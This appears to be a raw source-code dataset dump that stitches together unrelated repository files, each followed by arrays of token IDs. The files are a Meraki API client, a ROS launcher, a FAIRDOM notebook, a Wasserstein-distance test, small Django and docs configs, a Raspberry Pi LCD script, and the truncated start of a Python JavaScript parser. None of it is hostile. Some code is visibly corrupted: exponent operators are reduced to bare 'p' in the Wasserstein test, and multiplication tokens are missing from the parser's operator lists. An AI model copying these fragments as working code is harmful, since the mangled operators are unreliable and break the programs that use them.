511, 13, 13, 1678, 396, 847, 16202, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 16202, 29914, 742, 3160, 877, 16202, 29889, 26045, 1495, 511, 13, 13, 1678, 396, 847, 29879, 667, 481, 29889, 3134, 13, 1678, 3142, 29898, 13, 4706, 6528, 29922, 29878, 29915, 29985, 29879, 667, 481, 23301, 3134, 29938, 742, 13, 4706, 1776, 29922, 29879, 667, 481, 29892, 13, 4706, 9049, 5085, 3790, 29915, 29879, 667, 2547, 2396, 269, 667, 2547, 1118, 13, 4706, 1024, 2433, 14095, 29889, 21570, 29889, 29879, 667, 2547, 29889, 7406, 29889, 29879, 667, 481, 29915, 13, 1678, 10353, 13, 13, 1678, 396, 847, 6406, 5515, 13, 1678, 3142, 29898, 29878, 29915, 29985, 6406, 29914, 742, 4113, 29889, 2746, 29889, 26045, 511, 13, 29962, 13, 13, 361, 6055, 29889, 18525, 29901, 13, 1678, 396, 2294, 2066, 313, 8346, 29892, 5997, 29892, 3513, 29892, 2992, 1846, 13, 1678, 1053, 4744, 29918, 10154, 1646, 13, 13, 1678, 3142, 11037, 29879, 4619, 518, 13, 4706, 396, 847, 9799, 24676, 29966, 29885, 11925, 29958, 2084, 29914, 13, 4706, 3142, 29898, 13, 9651, 6528, 29922, 29878, 29915, 29985, 9799, 29914, 10780, 29925, 29966, 2084, 29958, 5575, 1262, 742, 13, 9651, 1776, 29922, 16349, 29892, 13, 9651, 9049, 5085, 3790, 29915, 3225, 29918, 4632, 2396, 6055, 29889, 2303, 4571, 29909, 29918, 21289, 29913, 13, 4706, 10353, 13, 13, 4706, 3142, 29898, 29878, 29915, 29985, 1649, 8382, 1649, 29914, 742, 3160, 29898, 8382, 29918, 10154, 1646, 29889, 26045, 8243, 13, 1678, 4514, 13, 2 ]
meraki/modules/clients.py	fgbs/meraki-dashboard-api	2	95088	<gh_stars>1-10 #!/usr/bin/env python # -- coding: utf-8 -- from __future__ import print_function from .base import Base from meraki.exceptions import NetworkIdMissing, ClientIdMissing, MacAddressMissing, DevicePolicyMissing class Clients(Base): def __init__(self, api_key=None, parent=None): super(Clients, self).__init__(api_key=api_key) self._parent = parent self._name = 'clients' def list(self, serial=None, timespan=3600): ''' List the clients of a device, up to a maximum of a month ago. The usage of each client is returned in kilobytes. If the device is a switch, the switchport is returned; otherwise the switchport field is null. ''' if timespan > 2592000: timespan = 2592000 return self._get_request(self._parent, serial, self._name, parms={'timespan': timespan}) def get(self, network=None, client=None): ''' Return the client associated with the given identifier. This endpoint will lookup by client ID or either the MAC or IP depending on whether the network uses Track-by-IP. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client) def provision(self, network=None, mac=None, name='', device_policy=None, group_policy=None): ''' Provisions a client with a name and policy. Clients can be provisioned before they associate to the network. PARAMETERS mac: The MAC address of the client. Required. name: The display name for the client. Optional. Limited to 255 bytes. devicePolicy: The policy to apply to the specified client. Can be Whitelisted, Blocked, Normal, and Group policy. Required. groupPolicyId: The ID of the desired group policy to apply to the client. Required if 'devicePolicy' is set to "Group policy". Otherwise this is ignored. ''' if network is None: raise NetworkIdMissing if mac is None: raise MacAddressMissing if device_policy is None: raise DevicePolicyMissing data = { 'mac': mac, 'name': name, 'devicePolicy': device_policy } if device_policy == 'Group policy': data.update({ 'groupPolicyId': group_policy }) return self._post_request(self._parent, network, self._name, 'provision', data=data) def usage_history(self, network=None, client=None): ''' Return the client's daily usage history. Usage data is in kilobytes. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'usageHistory') def traffic_history(self, network=None, client=None, per_page=30): ''' Return the client's network traffic data over time. Usage data is in kilobytes. This endpoint requires detailed traffic analysis to be enabled on the Network-wide > General page. PARAMETERS perPage: The number of entries per page returned startingAfter: A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it. endingBefore: A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'trafficHistory', parms={'perPage': per_page}) def events(self, network=None, client=None, per_page=30): ''' Return the events associated with this client. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'events', parms={'perPage': per_page}) def security_events(self, network=None, client=None, timespan=3600, per_page=30): ''' Return the events associated with this client. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing if timespan > 2592000: timespan = 2592000 return self._get_request(self._parent, network, self._name, client, 'securityEvents', parms={'timespan': timespan, 'perPage': per_page}) def latency_history(self, network=None, client=None, t0=0, t1=0, timespan=3600): ''' Return the latency history for a client. The latency data is from a sample of 2% of packets and is grouped into 4 traffic categories: background, best effort, video, voice. Within these categories the sampled packet counters are bucketed by latency in milliseconds. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing parms = {} if t0 > 0 and t1 > 0: parms.update({ 't0': t0, 't1': t1 }) else: parms.update({ 'timespan': timespan }) return self._get_request(self._parent, network, self._name, client, 'latencyHistory', parms=parms) def policy(self, network=None, client=None, device_policy=None, group_policy=None, timespan=3600): ''' Return the policy assigned to a client on the network. OR Update the policy assigned to a client on the network. PARAMETERS devicePolicy: The group policy (Whitelisted, Blocked, Normal, Group policy) groupPolicyId: If devicePolicy param is set to 'Group policy' this param is used to specify the group ID. timespan: The timespan for which clients will be fetched. Must be in seconds and less than or equal to a month (2592000 seconds). ''' if network is None: raise NetworkIdMissing if client is None: raise MacAddressMissing if timespan > 2592000: timespan = 2592000 parms = { 'timespan': timespan } if device_policy == 'Group policy': parms.update({ 'devicePolicy': device_policy, 'groupPolicyId': group_policy }) elif device_policy is not None: parms.update({ 'devicePolicy': device_policy }) return self._get_request(self._parent, network, self._name, client, 'policy', parms=parms) def splash_auth_status(self, network=None, client=None, ssid=None, is_authorized=False): ''' Return the splash authorization for a client, for each SSID they've associated with through splash. OR Update a client's splash authorization. PARAMETERS ssids: The target SSIDs. For each SSID where isAuthorized is true, the expiration time will automatically be set according to the SSID's splash frequency. isAuthorized: New authorization status for SSID (true, false). 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generators/python/scripts/brain/calibrate_imu.py	EndlessLoops/blockly	1	193189	<reponame>EndlessLoops/blockly import rosnode import subprocess import time ros_nodes = rosnode.get_node_names() if not '/imu_talker' in ros_nodes: command='/home/erle/spider_ws/install_isolated/share/ros_erle_imu/imu_talker' process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) time.sleep(10)	[ 1, 529, 276, 1112, 420, 29958, 5044, 2222, 3410, 3554, 29914, 1271, 368, 13, 5215, 14652, 3177, 13, 5215, 1014, 5014, 13, 5215, 931, 13, 13, 1883, 29918, 18010, 353, 14652, 3177, 29889, 657, 29918, 3177, 29918, 7039, 580, 13, 361, 451, 8207, 326, 29884, 29918, 29873, 2235, 261, 29915, 297, 14652, 29918, 18010, 29901, 13, 1678, 1899, 2433, 29914, 5184, 29914, 261, 280, 29914, 1028, 1241, 29918, 5652, 29914, 6252, 29918, 275, 324, 630, 29914, 13653, 29914, 1883, 29918, 261, 280, 29918, 326, 29884, 29914, 326, 29884, 29918, 29873, 2235, 261, 29915, 13, 1678, 1889, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 6473, 29922, 5574, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29897, 13, 1678, 931, 29889, 17059, 29898, 29896, 29900, 29897, 13, 2 ]
03_fetching_data.py	FAIRdom/api-workshop	2	81267	# -- coding: utf-8 -- """03 Fetching data.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1IYGWv5misDPAulnG_jfYOCtx5hxKl3Fr # Accessing and downloading Data * Finding the route to get hold of the data * Converting spreadsheets to CSV """ import requests import json import string import io # Importing the libraries we need to format the data in a more readable way. import pandas as pd from pandas.io.json import json_normalize from IPython.display import HTML base_url = 'https://fairdomhub.org' def json_for_resource(type, id): headers = {"Accept": "application/vnd.api+json", "Accept-Charset": "ISO-8859-1"} r = requests.get(base_url + "/" + type + "/" + str(id), headers=headers) r.raise_for_status() return r.json() """Fetch the JSON for the Data file resource at https://fairdomhub.org/data_files/1049 We print out title to be sure we have the correct item. """ data_file_id = 1049 result = json_for_resource('data_files',data_file_id) title = result['data']['attributes']['title'] title """The attributes contain a 'content_blobs' block. Content Blob is the name we use in SEEK for the entity that corresponds to a file or URL. Note that content_blobs is always an array. Models can currently contain multiple content blobs (multiple files), and we plan to provide the same support to Data files and other assets in the future. """ result['data']['attributes'] """Here we focus on the details about a single content blob: * content_type - this is the mime type of the file, or the whatever the URL points to * link - this is the link that describes the content blob route * md5sum - an MD5 checksum of the contents * sha1sum - a SHA1 based checksum of the contents. These checksums are useful for checking the file downloaded is correct, and there hasn't been an error or has been modified since being registered with SEEK. * original_filename - the filename if the file, as it was when registered with SEEK * size - the size of the file in bytes * url - url to an external resource, if the item was registered with SEEK using a URL rather than a direct upload In this case, this is an Excel XLSX file, called 1205 amino acid omission pyogenes.xlsx, and is about 59k """ blob = result['data']['attributes']['content_blobs'][0] blob """The route to directly download a file is the content blob route, with the /download action appended. This is always the case for anything downloadable in SEEK. In this example we display the URL to download the content blob for generete a HTML hyperlink for it. Although in this case we download the content blob itself directly, it is also possible to download with https://fairdomhub.org/data_files/1049/download . Other than Models, this currently results in downloading a single file. For models, a ZIP file is generated that contains all files. To be future proof, we recommend downloading individual files through the content-blob route. """ link = blob['link'] filename = blob['original_filename'] download_link = link+"/download" print("Download link is: " + download_link + "\n") HTML("<a href='"+ download_link + "'>Download + " + filename + "</a>") """As we saw earlier. this Data file is an Excel spreadsheet. Where data is an Excel spreadsheet, it can be converted to a Comma Seperated File (CSV), by requesting this format through content negotiation. In this case, we request a GET to https://fairdomhub.org/data_files/1049/content_blobs/1518, but instead of requesting JSON we use an Accept: header of 'text/csv'. A parameter 'sheet' can be included to access different sheets, which if missed always defaults to the first sheet. Here we request CSV and display the first sheet in a table using the Pandas module. (NaN is just a blank cell in the spreadsheet). """ headers = { "Accept": "text/csv" } r = requests.get(link, headers=headers, params={'sheet':'1'}) r.raise_for_status() csv = pd.read_csv(io.StringIO(r.content.decode('utf-8'))) csv """# Exercise 3 * Update the notebook to display the content blob details and CSV for sheet 2 of https://fairdomhub.org/data_files/2222 * Update and look at the multiple model file content blobs for https://fairdomhub.org/models/308 (don't worry if the csv step fails) """	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 29900, 29941, 383, 3486, 292, 848, 29889, 666, 948, 29890, 13, 13, 28451, 19574, 5759, 491, 1530, 3717, 7606, 29889, 13, 13, 26036, 934, 338, 5982, 472, 13, 1678, 2045, 597, 1054, 370, 29889, 690, 2842, 29889, 3608, 29889, 510, 29914, 21594, 29914, 29896, 29902, 29979, 29954, 29956, 29894, 29945, 26737, 29928, 7228, 352, 29876, 29954, 29918, 29926, 29888, 29979, 20166, 7508, 29945, 29882, 29916, 29968, 29880, 29941, 14438, 13, 13, 29937, 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positivity/mbot_with_replacement_test.py	kilianFatras/unbisad_minibatch_sinkhorn_GAN	6	98190	<reponame>kilianFatras/unbisad_minibatch_sinkhorn_GAN #Test file for sampling with replacement import numpy as np import ot from utils import all_arr_w_replacement from mbot_proba import get_div2 import matplotlib.pyplot as plt ################################### # MAIN ################################### #%% parameters and data generation np.random.seed(1980) ns = 4 # nb samples nt = ns m_s = 2 m_t = 2 dev_list = np.linspace(0, np.pi, 100) # uniform distribution on samples a, b = ot.unif(ns), ot.unif(nt) #Test arrangements all_arr_s = all_arr_w_replacement(ns, m_s) all_arr_t = all_arr_w_replacement(nt, m_t) total = 0 for arr_s in all_arr_s: for arr_t in all_arr_t: total += np.prod(a[arr_s]) * np.prod(b[arr_t]) print("SANITY PROBA CHECK : ", total) w_value = np.zeros((1, len(dev_list))) for id_dev, dev in enumerate(dev_list): xs = [] xt = [] for i in range(ns): xs.append([np.cos(2 * i * np.pi/ns), np.sin(2 * i * np.pi/ns)]) xt.append([np.cos(2 * i * np.pi/ns + dev), np.sin(2 * i * np.pi/ns + dev)]) xs = np.array(xs) xt = np.array(xt) # Cost matrix p = 1 M = ot.dist(xs, xt, metric='euclidean')p M_s = ot.dist(xs, xs, metric='euclidean')p M_t = ot.dist(xt, xt, metric='euclidean')**p ########################### # TESTS ########################### divergence = get_div2(a, b, all_arr_s, all_arr_t, m_s, m_t, M, M_s, M_t, p) print("Expected div mini batch Wasserstein distance : ", divergence) w_value[0][id_dev] = divergence plt.plot(dev_list, w_value[0]) plt.title('w value') plt.xlabel('perturbation value') plt.ylabel('loss value') plt.tight_layout() plt.show()	[ 1, 529, 276, 1112, 420, 29958, 16757, 713, 29943, 271, 3417, 29914, 348, 18809, 328, 29918, 1195, 747, 905, 29918, 29879, 682, 25031, 29918, 29954, 2190, 13, 29937, 3057, 934, 363, 23460, 411, 16920, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 4932, 13, 3166, 3667, 29879, 1053, 599, 29918, 2749, 29918, 29893, 29918, 3445, 9552, 13, 3166, 286, 7451, 29918, 771, 2291, 1053, 679, 29918, 4563, 29906, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 13, 13383, 13383, 2277, 29937, 13, 29937, 14861, 1177, 13, 13383, 13383, 2277, 29937, 13, 29937, 7686, 4128, 322, 848, 12623, 13, 13, 9302, 29889, 8172, 29889, 26776, 29898, 29896, 29929, 29947, 29900, 29897, 13, 13, 1983, 353, 29871, 29946, 396, 302, 29890, 11916, 13, 593, 353, 17534, 13, 29885, 29918, 29879, 353, 29871, 29906, 13, 29885, 29918, 29873, 353, 29871, 29906, 13, 3359, 29918, 1761, 353, 7442, 29889, 1915, 3493, 29898, 29900, 29892, 7442, 29889, 1631, 29892, 29871, 29896, 29900, 29900, 29897, 13, 13, 29937, 9090, 4978, 373, 11916, 13, 29874, 29892, 289, 353, 4932, 29889, 348, 361, 29898, 1983, 511, 4932, 29889, 348, 361, 29898, 593, 29897, 13, 13, 29937, 3057, 15196, 4110, 13, 497, 29918, 2749, 29918, 29879, 353, 599, 29918, 2749, 29918, 29893, 29918, 3445, 9552, 29898, 1983, 29892, 286, 29918, 29879, 29897, 13, 497, 29918, 2749, 29918, 29873, 353, 599, 29918, 2749, 29918, 29893, 29918, 3445, 9552, 29898, 593, 29892, 286, 29918, 29873, 29897, 13, 13, 7827, 353, 29871, 29900, 13, 1454, 3948, 29918, 29879, 297, 599, 29918, 2749, 29918, 29879, 29901, 13, 1678, 363, 3948, 29918, 29873, 297, 599, 29918, 2749, 29918, 29873, 29901, 13, 4706, 3001, 4619, 7442, 29889, 10633, 29898, 29874, 29961, 2749, 29918, 29879, 2314, 334, 7442, 29889, 10633, 29898, 29890, 29961, 2749, 29918, 29873, 2314, 13, 2158, 703, 29903, 2190, 11937, 13756, 5688, 23557, 584, 9162, 3001, 29897, 13, 13, 29893, 29918, 1767, 353, 7442, 29889, 3298, 359, 3552, 29896, 29892, 7431, 29898, 3359, 29918, 1761, 4961, 13, 13, 1454, 1178, 29918, 3359, 29892, 2906, 297, 26985, 29898, 3359, 29918, 1761, 1125, 13, 1678, 14492, 353, 5159, 13, 268, 486, 353, 5159, 13, 1678, 363, 474, 297, 3464, 29898, 1983, 1125, 13, 4706, 14492, 29889, 4397, 4197, 9302, 29889, 3944, 29898, 29906, 334, 474, 334, 7442, 29889, 1631, 29914, 1983, 511, 7442, 29889, 5223, 29898, 29906, 334, 474, 334, 7442, 29889, 1631, 29914, 1983, 29897, 2314, 13, 308, 486, 29889, 4397, 4197, 9302, 29889, 3944, 29898, 29906, 334, 474, 334, 7442, 29889, 1631, 29914, 1983, 718, 2906, 511, 7442, 29889, 5223, 29898, 29906, 334, 474, 334, 7442, 29889, 1631, 29914, 1983, 718, 2906, 29897, 2314, 13, 1678, 14492, 353, 7442, 29889, 2378, 29898, 10351, 29897, 13, 268, 486, 353, 7442, 29889, 2378, 29898, 486, 29897, 13, 13, 1678, 396, 9839, 4636, 13, 1678, 282, 353, 29871, 29896, 13, 1678, 341, 353, 4932, 29889, 5721, 29898, 10351, 29892, 29871, 486, 29892, 12714, 2433, 29872, 27511, 1495, 1068, 29886, 13, 1678, 341, 29918, 29879, 353, 4932, 29889, 5721, 29898, 10351, 29892, 14492, 29892, 12714, 2433, 29872, 27511, 1495, 1068, 29886, 13, 1678, 341, 29918, 29873, 353, 4932, 29889, 5721, 29898, 486, 29892, 29871, 486, 29892, 12714, 2433, 29872, 27511, 1495, 1068, 29886, 13, 13, 1678, 835, 13383, 7346, 13, 1678, 396, 17067, 1254, 29903, 13, 1678, 835, 13383, 7346, 13, 13, 1678, 17089, 10238, 353, 679, 29918, 4563, 29906, 29898, 29874, 29892, 289, 29892, 599, 29918, 2749, 29918, 29879, 29892, 599, 29918, 2749, 29918, 29873, 29892, 286, 29918, 29879, 29892, 286, 29918, 29873, 29892, 341, 29892, 341, 29918, 29879, 29892, 341, 29918, 29873, 29892, 282, 29897, 13, 13, 1678, 1596, 703, 1252, 6021, 1933, 20629, 9853, 16124, 5465, 5418, 584, 9162, 17089, 10238, 29897, 13, 13, 1678, 281, 29918, 1767, 29961, 29900, 3816, 333, 29918, 3359, 29962, 353, 17089, 10238, 13, 13, 572, 29873, 29889, 5317, 29898, 3359, 29918, 1761, 29892, 281, 29918, 1767, 29961, 29900, 2314, 13, 572, 29873, 29889, 3257, 877, 29893, 995, 1495, 13, 572, 29873, 29889, 29916, 1643, 877, 10700, 9265, 362, 995, 1495, 13, 572, 29873, 29889, 29891, 1643, 877, 6758, 995, 1495, 13, 572, 29873, 29889, 29873, 523, 29918, 2680, 580, 13, 572, 29873, 29889, 4294, 580, 13, 2 ]
pos_multie_print/config/docs.py	ashish-greycube/pos_multie_print	0	22482	""" Configuration for docs """ # source_link = "https://github.com/[org_name]/pos_multie_print" # docs_base_url = "https://[org_name].github.io/pos_multie_print" # headline = "App that does everything" # sub_heading = "Yes, you got that right the first time, everything" def get_context(context): context.brand_html = "POS Multiple Print"	[ 1, 9995, 13, 8614, 363, 10561, 13, 15945, 29908, 13, 13, 29937, 2752, 29918, 2324, 353, 376, 991, 597, 3292, 29889, 510, 29914, 29961, 990, 29918, 978, 16261, 1066, 29918, 4713, 347, 29918, 2158, 29908, 13, 29937, 10561, 29918, 3188, 29918, 2271, 353, 376, 991, 597, 29961, 990, 29918, 978, 1822, 3292, 29889, 601, 29914, 1066, 29918, 4713, 347, 29918, 2158, 29908, 13, 29937, 2343, 1220, 353, 376, 2052, 393, 947, 4129, 29908, 13, 29937, 1014, 29918, 2813, 292, 353, 376, 8241, 29892, 366, 2355, 393, 1492, 278, 937, 931, 29892, 4129, 29908, 13, 13, 1753, 679, 29918, 4703, 29898, 4703, 1125, 13, 12, 4703, 29889, 16472, 29918, 1420, 353, 376, 24815, 26905, 13905, 29908, 13, 2 ]
climbproject/climbapp/admin.py	javawolfpack/ClimbProject	0	6025	from django.contrib import admin #from .models import * from . import models # Register your models here. admin.site.register(models.ClimbModel)	[ 1, 515, 9557, 29889, 21570, 1053, 4113, 13, 13, 29937, 3166, 869, 9794, 1053, 334, 13, 3166, 869, 1053, 4733, 13, 13, 29937, 12577, 596, 4733, 1244, 29889, 13, 6406, 29889, 2746, 29889, 9573, 29898, 9794, 29889, 29907, 2576, 29890, 3195, 29897, 13, 2 ]
LTN111/cycle.py	benjaveri/rpi	0	166420	#!/usr/bin/env python import RPi.GPIO as GPIO import time # pinoutBCM scheme - http://pinout.xyz/ D = [4,17,18,27,22,23,24,25] E = 11 RW = 8 RS = 7 def wr(rs,rw,data): GPIO.output(RS,True if rs else False) GPIO.output(RW,True if rw else False) time.sleep(0.001) GPIO.output(E,True) for i in range(8): GPIO.output(D[i],True if (data & (1<<i)) else False) time.sleep(0.001) GPIO.output(E,False) time.sleep(0.001) def writea(a): for ch in a: wr(1,0,ch) def write(s): for ch in s: wr(1,0,ord(ch)) # setup GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(E,GPIO.OUT) GPIO.output(E,False) GPIO.setup(RW,GPIO.OUT) GPIO.setup(RS,GPIO.OUT) for i in D: GPIO.setup(i,GPIO.OUT) # go wr(0,0,0x38) # 8-bit input mode wr(0,0,1) # cls wr(0,0,12) # display on # cycle characters i = 0 while 1: wr(0,0,0x80) writea([ i for j in range(8) ]) wr(0,0,0xc0) writea([ i for j in range(8) ]) i = (i+1) & 255 time.sleep(.125)	[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 5215, 390, 12197, 29889, 29954, 2227, 29949, 408, 402, 2227, 29949, 13, 5215, 931, 13, 13, 29937, 12534, 449, 5371, 29924, 11380, 448, 1732, 597, 12687, 449, 29889, 20230, 29914, 13, 13, 29928, 353, 518, 29946, 29892, 29896, 29955, 29892, 29896, 29947, 29892, 29906, 29955, 29892, 29906, 29906, 29892, 29906, 29941, 29892, 29906, 29946, 29892, 29906, 29945, 29962, 13, 29923, 353, 29871, 29896, 29896, 13, 29934, 29956, 353, 29871, 29947, 13, 12445, 353, 29871, 29955, 13, 13, 1753, 2358, 29898, 2288, 29892, 13975, 29892, 1272, 1125, 13, 29871, 402, 2227, 29949, 29889, 4905, 29898, 12445, 29892, 5574, 565, 20371, 1683, 7700, 29897, 13, 29871, 402, 2227, 29949, 29889, 4905, 29898, 29934, 29956, 29892, 5574, 565, 364, 29893, 1683, 7700, 29897, 13, 29871, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29900, 29896, 29897, 13, 29871, 402, 2227, 29949, 29889, 4905, 29898, 29923, 29892, 5574, 29897, 13, 29871, 363, 474, 297, 3464, 29898, 29947, 1125, 13, 1678, 402, 2227, 29949, 29889, 4905, 29898, 29928, 29961, 29875, 1402, 5574, 565, 313, 1272, 669, 313, 29896, 9314, 29875, 876, 1683, 7700, 29897, 13, 29871, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29900, 29896, 29897, 13, 29871, 402, 2227, 29949, 29889, 4905, 29898, 29923, 29892, 8824, 29897, 13, 29871, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29900, 29896, 29897, 13, 13, 1753, 2436, 29874, 29898, 29874, 1125, 13, 29871, 363, 521, 297, 263, 29901, 13, 1678, 2358, 29898, 29896, 29892, 29900, 29892, 305, 29897, 13, 13, 1753, 2436, 29898, 29879, 1125, 13, 29871, 363, 521, 297, 269, 29901, 13, 1678, 2358, 29898, 29896, 29892, 29900, 29892, 536, 29898, 305, 876, 13, 13, 13, 29937, 6230, 13, 29954, 2227, 29949, 29889, 842, 25442, 886, 29898, 8824, 29897, 13, 29954, 2227, 29949, 29889, 842, 8513, 29898, 29954, 2227, 29949, 29889, 5371, 29924, 29897, 13, 29954, 2227, 29949, 29889, 14669, 29898, 29923, 29892, 29954, 2227, 29949, 29889, 12015, 29897, 13, 29954, 2227, 29949, 29889, 4905, 29898, 29923, 29892, 8824, 29897, 13, 29954, 2227, 29949, 29889, 14669, 29898, 29934, 29956, 29892, 29954, 2227, 29949, 29889, 12015, 29897, 13, 29954, 2227, 29949, 29889, 14669, 29898, 12445, 29892, 29954, 2227, 29949, 29889, 12015, 29897, 13, 1454, 474, 297, 360, 29901, 402, 2227, 29949, 29889, 14669, 29898, 29875, 29892, 29954, 2227, 29949, 29889, 12015, 29897, 13, 13, 29937, 748, 13, 15866, 29898, 29900, 29892, 29900, 29892, 29900, 29916, 29941, 29947, 29897, 396, 29871, 29947, 29899, 2966, 1881, 4464, 13, 15866, 29898, 29900, 29892, 29900, 29892, 29896, 29897, 396, 1067, 29879, 259, 13, 15866, 29898, 29900, 29892, 29900, 29892, 29896, 29906, 29897, 396, 2479, 373, 13, 13, 29937, 11412, 4890, 13, 29875, 353, 29871, 29900, 13, 8000, 29871, 29896, 29901, 13, 29871, 2358, 29898, 29900, 29892, 29900, 29892, 29900, 29916, 29947, 29900, 29897, 13, 29871, 2436, 29874, 4197, 474, 363, 432, 297, 3464, 29898, 29947, 29897, 29871, 2314, 13, 29871, 2358, 29898, 29900, 29892, 29900, 29892, 29900, 21791, 29900, 29897, 13, 29871, 2436, 29874, 4197, 474, 363, 432, 297, 3464, 29898, 29947, 29897, 29871, 2314, 13, 259, 13, 29871, 474, 353, 313, 29875, 29974, 29896, 29897, 669, 29871, 29906, 29945, 29945, 13, 259, 13, 29871, 931, 29889, 17059, 11891, 29896, 29906, 29945, 29897, 13, 2 ]
merger/jsparser3.py	Mingun/k3a-utils	0	137828	#!/usr/bin/python2.5 # *** BEGIN LICENSE BLOCK * # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License Version # 1.1 (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an "AS IS" basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License # for the specific language governing rights and limitations under the # License. # # The Original Code is the Narcissus JavaScript engine, written in Javascript. # # The Initial Developer of the Original Code is # <NAME> <<EMAIL>>. # Portions created by the Initial Developer are Copyright (C) 2004 # the Initial Developer. All Rights Reserved. # # The Python version of the code was created by <NAME> <<EMAIL>>, # and is a direct translation from the Javascript version. # # Alternatively, the contents of this file may be used under the terms of # either the GNU General Public License Version 2 or later (the "GPL"), or # the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), # in which case the provisions of the GPL or the LGPL are applicable instead # of those above. If you wish to allow use of your version of this file only # under the terms of either the GPL or the LGPL, and not to allow others to # use your version of this file under the terms of the MPL, indicate your # decision by deleting the provisions above and replace them with the notice # and other provisions required by the GPL or the LGPL. If you do not delete # the provisions above, a recipient may use your version of this file under # the terms of any one of the MPL, the GPL or the LGPL. # # * END LICENSE BLOCK *** / """ PyNarcissus A lexical scanner and parser. JS implemented in JS, ported to Python. """ __author__ = "<NAME>" __author_email__ = "<EMAIL>" __date__ = "2009-03-24" __all__ = ["ParseError", "parse", "tokens"] import re, sys, types class Object(object): pass class Error_(Exception): pass class ParseError(Error_): pass tokens = dict(enumerate(( # End of source. "END", # Operators and punctuators. Some pair-wise order matters, e.g. (+, -) # and (UNARY_PLUS, UNARY_MINUS). "\n", ";", ",", "=", "?", ":", "CONDITIONAL", "\|\|", "&&", "\|", "^", "&", "==", "!=", "===", "!==", "<", "<=", ">=", ">", "<<", ">>", ">>>", "+", "-", "", "/", "%", "!", "~", "UNARY_PLUS", "UNARY_MINUS", "++", "--", ".", "[", "]", "{", "}", "(", ")", # Nonterminal tree node type codes. "SCRIPT", "BLOCK", "LABEL", "FOR_IN", "CALL", "NEW_WITH_ARGS", "INDEX", "ARRAY_INIT", "OBJECT_INIT", "PROPERTY_INIT", "GETTER", "SETTER", "GROUP", "LIST", # Terminals. "IDENTIFIER", "NUMBER", "STRING", "REGEXP", # Keywords. "break", "case", "catch", "const", "continue", "debugger", "default", "delete", "do", "else", "enum", "false", "finally", "for", "function", "if", "in", "instanceof", "new", "null", "return", "switch", "this", "throw", "true", "try", "typeof", "var", "void", "while", "with"))) # Operator and punctuator mapping from token to tree node type name. # NB: superstring tokens (e.g., ++) must come before their substring token # counterparts (+ in the example), so that the opRegExp regular expression # synthesized from this list makes the longest possible match. opTypeNames = [ ('\n', "NEWLINE"), (';', "SEMICOLON"), (',', "COMMA"), ('?', "HOOK"), (':', "COLON"), ('\|\|', "OR"), ('&&', "AND"), ('\|', "BITWISE_OR"), ('^', "BITWISE_XOR"), ('&', "BITWISE_AND"), ('===', "STRICT_EQ"), ('==', "EQ"), ('=', "ASSIGN"), ('!==', "STRICT_NE"), ('!=', "NE"), ('<<', "LSH"), ('<=', "LE"), ('<', "LT"), ('>>>', "URSH"), ('>>', "RSH"), ('>=', "GE"), ('>', "GT"), ('++', "INCREMENT"), ('--', "DECREMENT"), ('+', "PLUS"), ('-', "MINUS"), ('', "MUL"), ('/', "DIV"), ('%', "MOD"), ('!', "NOT"), ('~', "BITWISE_NOT"), ('.', "DOT"), ('[', "LEFT_BRACKET"), (']', "RIGHT_BRACKET"), ('{', "LEFT_CURLY"), ('}', "RIGHT_CURLY"), ('(', "LEFT_PAREN"), (')', "RIGHT_PAREN"), ] keywords = {} # Define const END, etc., based on the token names. Also map name to index. for i, t in tokens.copy().items(): if re.match(r'^[a-z]', t): const_name = t.upper() keywords[t] = i elif re.match(r'^\W', t): const_name = dict(opTypeNames)[t] else: const_name = t globals()[const_name] = i tokens[t] = i assignOps = {} # Map assignment operators to their indexes in the tokens array. for i, t in enumerate(['\|', '^', '&', '<<', '>>', '>>>', '+', '-', '', '/', '%']): assignOps[t] = tokens[t] assignOps[i] = t # Build a regexp that recognizes operators and punctuators (except newline). opRegExpSrc = "^" for i, j in opTypeNames: if i == "\n": continue if opRegExpSrc != "^": opRegExpSrc += "\|^" opRegExpSrc += re.sub(r'[?\|^&(){}\[\]+\-\/\.]', lambda x: "\\%s" % x.group(0), i) opRegExp = re.compile(opRegExpSrc) # Convert opTypeNames to an actual dictionary now that we don't care about ordering opTypeNames = dict(opTypeNames) # A regexp to match floating point literals (but not integer literals). fpRegExp = re.compile(r'^\d+\.\d(?:[eE][-+]?\d+)?\|^\d+(?:\.\d)?[eE][-+]?\d+\|^\.\d+(?:[eE][-+]?\d+)?') # A regexp to match regexp literals. reRegExp = re.compile(r'^\/((?:\\.\|\[(?:\\.\|[^\]])\]\|[^\/])+)\/([gimy])') class SyntaxError_(ParseError): def __init__(self, message, filename, lineno): ParseError.__init__(self, "Syntax error: %s\n%s:%s" % (message, 